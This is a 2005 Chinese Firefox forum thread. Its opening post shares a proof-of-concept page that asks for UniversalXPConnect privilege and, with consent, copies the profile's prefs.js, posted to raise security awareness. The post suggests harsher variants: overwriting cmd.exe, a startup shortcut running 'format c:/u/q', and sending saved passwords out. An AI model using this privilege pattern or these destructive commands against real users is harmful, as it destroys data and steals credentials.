hh9527
小狐狸
小狐狸
  • UID6578
  • 注册日期2005-06-06
  • 最后登录2009-07-07
  • 发帖数49
  • 经验10枚
  • 威望0点
  • 贡献值0点
  • 好评度0点
阅读:41546回复:101

应广大 Firefox 的 FANS 要求,写了一个恶意脚本的实例,大家看看

楼主#
更多 发布于:2005-06-07 18:41
首先不要害怕,这个页面没有恶意,却展示了恶意页面的可行性。你要不放心,可以只阅读代码,而不要运行。

运行效果如下:
你只要一点击按钮,Firefox 就会提示你是否运行,如果你选择“是”,那么它将自动把你本地的 prefs.js 复制一份成为 new_prefs.js,如果你选择“否”,那么它会继续提示你 2 次。(整个过程 Firefox 都不会自动的把其中非安全的脚本抑制掉,而是让用户作出选择)

代码如下,附件是其 ZIP 版本。试试看吧

试想:
1. 如果我不是去创建一个 new_prefs.js,而是更改 hostperm.1 把恶意的网站加为 Firefox 信任的网站,那会怎么样?
2. 如果不是写 new_prefs.js,而是直接写你的 cmd.exe 会怎么样?或者在你的启动组里创建上 format c:/u/q 的快捷方式,那有会怎样?
3. 如果我不是 "onload=doBAD(3)" 而是 "onload=doBAD(10000)" 怎么办?

特别要说清楚:这个例子仅用于说明如果没有良好的安全意识,使用任何浏览器(包括 Firefox)都是不安全的。不是攻击 Firefox 的安全性。

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
	
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
	<title></title>
	<script type="text/javascript">
	function doREAD(f) {
  		var is = Components.classes["@mozilla.org/network/file-input-stream;1"].createInstance(Components.interfaces.nsIFileInputStream);
  		is.init(f, 0x01, 00004, null);
  		var sis = Components.classes["@mozilla.org/binaryinputstream;1"].createInstance(Components.interfaces.nsIBinaryInputStream);
  		sis.setInputStream(is);
  		var output = sis.readBytes(sis.available());
  		return output;
	}
	
	function doWRITE(f, data) {
		var foStream = Components.classes["@mozilla.org/network/file-output-stream;1"].createInstance(Components.interfaces.nsIFileOutputStream);
		
		// use 0x02 | 0x10 to open file for appending.
		foStream.init(f, 0x02 | 0x08 | 0x20, 0664, 0); // write, create, truncate
		foStream.write(data, data.length);
		foStream.close();
	}
	
	function doBAD(count) {
		for (var i = 0; i < count; ++i) {
			try {
				var pm = netscape.security.PrivilegeManager;
	      	pm.enablePrivilege('UniversalXPConnect');

				var profs = Components.classes["@mozilla.org/file/directory_service;1"].getService(Components.interfaces.nsIProperties).get("ProfD", Components.interfaces.nsIFile);
				var new_profs = Components.classes["@mozilla.org/file/directory_service;1"].getService(Components.interfaces.nsIProperties).get("ProfD", Components.interfaces.nsIFile);
				profs.append('prefs.js');
				new_profs.append('new_prefs.js');
				data = doREAD(profs);
				doWRITE(new_profs, data);
				alert('File copied from [' + profs.path + '] to [' + new_profs.path + '] !');
				break;
			}
			catch(ex) {
				// alert(ex);
			}
		}
	}

	</script>
</head>

<body>
	<button onclick="doBAD(3)">Copy prefs.js to new_prefs.js</button>
</body>
</html>
附件名称/大小 下载次数 最后更新
bad.zip (1KB)  111 2005-06-07 18:23
sakerping
火狐狸
火狐狸
  • UID3677
  • 注册日期2005-03-06
  • 最后登录2005-11-16
  • 发帖数198
  • 经验10枚
  • 威望0点
  • 贡献值0点
  • 好评度0点
1楼#
发布于:2005-06-07 18:41
搬个板凳坐到。
鸡蛋是不能全放在一个篮子里的。安全问题全在自己。怪只能怪那些3721之流缺德,想出这种阴谋,是要遭报应的。
不过,IE的加载项实在是要命……
zhh01pfg
千年狐狸
千年狐狸
  • UID2948
  • 注册日期2005-02-11
  • 最后登录2011-06-15
  • 发帖数1488
  • 经验10枚
  • 威望0点
  • 贡献值0点
  • 好评度0点
2楼#
发布于:2005-06-07 18:41
我勾选了“以后不再提示我”
然后点否,就再也没有提示什么了 。

ff不是杀毒软件,如果遇到个对话框就点击“是”或者“确定”,那当然使用任何浏览器都不安全。
kmc
kmc
管理员
管理员
  • UID165
  • 注册日期2004-11-25
  • 最后登录2022-09-22
  • 发帖数9186
  • 经验397枚
  • 威望1点
  • 贡献值124点
  • 好评度41点
  • 忠实会员
  • 终身成就
  • 社区居民
3楼#
发布于:2005-06-07 18:41
me too

需要用户下载一个网页然后运行,和需要用户下载一个EXE然后运行有什么区别呢?
在我的印象里3721不是通过要求用户下载一个文件然后运行,才安装的……

不过还是要说可行性是有的。
Waterfox Current和Firefox Nightly都用,逐渐走出XUL扩展依赖
kmc
kmc
管理员
管理员
  • UID165
  • 注册日期2004-11-25
  • 最后登录2022-09-22
  • 发帖数9186
  • 经验397枚
  • 威望1点
  • 贡献值124点
  • 好评度41点
  • 忠实会员
  • 终身成就
  • 社区居民
4楼#
发布于:2005-06-07 18:41
onload=doBAD(10000) 在勾选了“以后不再提示我”
后,能否继续提示10000次?

能否实现打开这个网页,就像IE里面的3821那样弹出
个比小泉的野心还大,比水扁的脸皮还厚的窗口来问你
要不要安装?而不是还多一个按钮骗我点(虽然以后
3821”关心“Firefox了可能会在按钮上写上什么”
倭国人集体吃屎录像“之类的骗别人点)。

好像IE里面那个cab安装还有一个”总是信赖***的内容“,
唯独没有”总是不信赖“的选项。
Waterfox Current和Firefox Nightly都用,逐渐走出XUL扩展依赖
drsu
狐狸大王
狐狸大王
  • UID1387
  • 注册日期2004-12-25
  • 最后登录2008-12-20
  • 发帖数367
  • 经验10枚
  • 威望0点
  • 贡献值0点
  • 好评度0点
5楼#
发布于:2005-06-07 18:41
kmc:onload=doBAD(10000) 在勾选了“以后不再提示我”
后,能否继续提示10000次?

能否实现打开这个网页,就像IE里面的3821那样弹出
个比小泉的野心还大,比水扁的脸皮还厚的窗口来问你
要不要安装?而不是还多一个按钮骗我点(虽然以后
3821”关心“Firefox了可能会在按钮上写上什么”
########“之类的骗别人点)。

好像IE里面那个cab安装还有一个”总是信赖***的内容“,
唯独没有”总是不信赖“的选项。
回到原帖

不要说IE嘛,现在要讨论的是这个问题,不要跑题啊.
这个是标准的javascript么?这是javascript标准的问题还是firefox的问题?
drsu
狐狸大王
狐狸大王
  • UID1387
  • 注册日期2004-12-25
  • 最后登录2008-12-20
  • 发帖数367
  • 经验10枚
  • 威望0点
  • 贡献值0点
  • 好评度0点
6楼#
发布于:2005-06-07 18:41
或者firefox根本就不应该支持这种功能?
fiag
管理员
管理员
  • UID1188
  • 注册日期2004-12-21
  • 最后登录2024-04-22
  • 发帖数4681
  • 经验686枚
  • 威望0点
  • 贡献值402点
  • 好评度51点
7楼#
发布于:2005-06-07 18:41
onload=doBAD(10000) 在勾选了“以后不再提示我”
后,能否继续提示10000次?
不会继续提示,就是CPU飙高马上就好
drsu
狐狸大王
狐狸大王
  • UID1387
  • 注册日期2004-12-25
  • 最后登录2008-12-20
  • 发帖数367
  • 经验10枚
  • 威望0点
  • 贡献值0点
  • 好评度0点
8楼#
发布于:2005-06-07 18:41
如果再加上一个"停止所有脚本"的选项呢,会不会好一点?
另外,有一个一直想问的问题,如果脚本里有死循环,firefox怎么处理?
hh9527
小狐狸
小狐狸
  • UID6578
  • 注册日期2005-06-06
  • 最后登录2009-07-07
  • 发帖数49
  • 经验10枚
  • 威望0点
  • 贡献值0点
  • 好评度0点
9楼#
发布于:2005-06-07 18:41
安全往往只有一次机会把我,如果你选择了“是”,那么获得授权的脚本就可能会自动往你信任的白名单里加入自己,以后做什么恶意的事情,你可能都不会知道。

需要用户下载一个网页然后运行,和需要用户下载一个EXE然后运行有什么区别呢?
在我的印象里3721不是通过要求用户下载一个文件然后运行,才安装的……


并不需要下载,只要你把这个 HTML 页面放在 WEB 服务器上,通过远端的浏览器访问的用户如果安全意识淡漠,当页面提示“是否授权”的时候,选择了“是”,就会“中招”!
drsu
狐狸大王
狐狸大王
  • UID1387
  • 注册日期2004-12-25
  • 最后登录2008-12-20
  • 发帖数367
  • 经验10枚
  • 威望0点
  • 贡献值0点
  • 好评度0点
10楼#
发布于:2005-06-07 18:41
解决起来应该不困难吧,比如使用类似安装扩展那样的安全措施,要用户手工加到可信站点才能运行.技术上说应该是没难度的.
fiag
管理员
管理员
  • UID1188
  • 注册日期2004-12-21
  • 最后登录2024-04-22
  • 发帖数4681
  • 经验686枚
  • 威望0点
  • 贡献值402点
  • 好评度51点
11楼#
发布于:2005-06-07 18:41
drsu:如果再加上一个"停止所有脚本"的选项呢,会不会好一点?
另外,有一个一直想问的问题,如果脚本里有死循环,firefox怎么处理?
回到原帖


停止所有脚本在选项设置里面 - 网页特性 - 取消“启用JavaScript”

死循环
运行一段时间后会提示“脚本导致浏览器变慢,是否需要停止脚本运行”。
选是就停止了,IE也有这样的功能
hh9527
小狐狸
小狐狸
  • UID6578
  • 注册日期2005-06-06
  • 最后登录2009-07-07
  • 发帖数49
  • 经验10枚
  • 威望0点
  • 贡献值0点
  • 好评度0点
12楼#
发布于:2005-06-07 18:41
就算是用户乱点上了确定,把恶意网站添加到了白名单,剩下的就是如何让用户屈服到不得不同意安装扩展。


实际上,只要你给了恶意网页一次机会,它就可以完成恶意插件的安装,我的脚本仅仅做了创建一个新的无用文件,但这已经证明了一切,因为:只要拥有了写本地文件的权限,它就可以写你的XPCOM注册表、自动创建一个扩展的目录并把它需要的文件放进去、自动修改你的 profile,还有可能把你本地保存的密码文件传回网站,供它的主人分析和破解。

还是那句话:一旦你授权一个脚本突破浏览器的沙箱限制,那后面的一切都是靠脚本提供者的良心、和操作系统的权限保护了,这也是为什么所有的浏览器都要提供插件和网站的数字签名管理,因为这可以让用户确定它使用的脚本/插件来自于谁,而使用它的后果只能由用户承担。

并不是浏览器不想保护没有安全意识的用户,而是它从原理上做不到,无论是 Firefox 还是 IE,都是这样。开放 API/可扩展性和安全性很难同时保证。

另外提醒 WINDOWS 的用户:平时仅使用受限用户做日常的工作可将风险降至最低。
客游
千年狐狸
千年狐狸
  • UID5736
  • 注册日期2005-05-06
  • 最后登录2012-10-09
  • 发帖数1363
  • 经验10枚
  • 威望0点
  • 贡献值0点
  • 好评度0点
13楼#
发布于:2005-06-07 18:41
这些缺德的家伙,我要把3721网站给炸了!
zerty
火狐狸
火狐狸
  • UID2808
  • 注册日期2005-02-05
  • 最后登录2008-03-06
  • 发帖数158
  • 经验10枚
  • 威望0点
  • 贡献值0点
  • 好评度0点
14楼#
发布于:2005-06-07 18:41



并不需要下载,只要你把这个 HTML 页面放在 WEB 服务器上,通过远端的浏览器访问的用户如果安全意识淡漠,当页面提示“是否授权”的时候,选择了“是”,就会“中招”!

确定不需要下载吗?那为什么我放到IIS里点,根本没有你所说的效果呢?
上一页
游客

返回顶部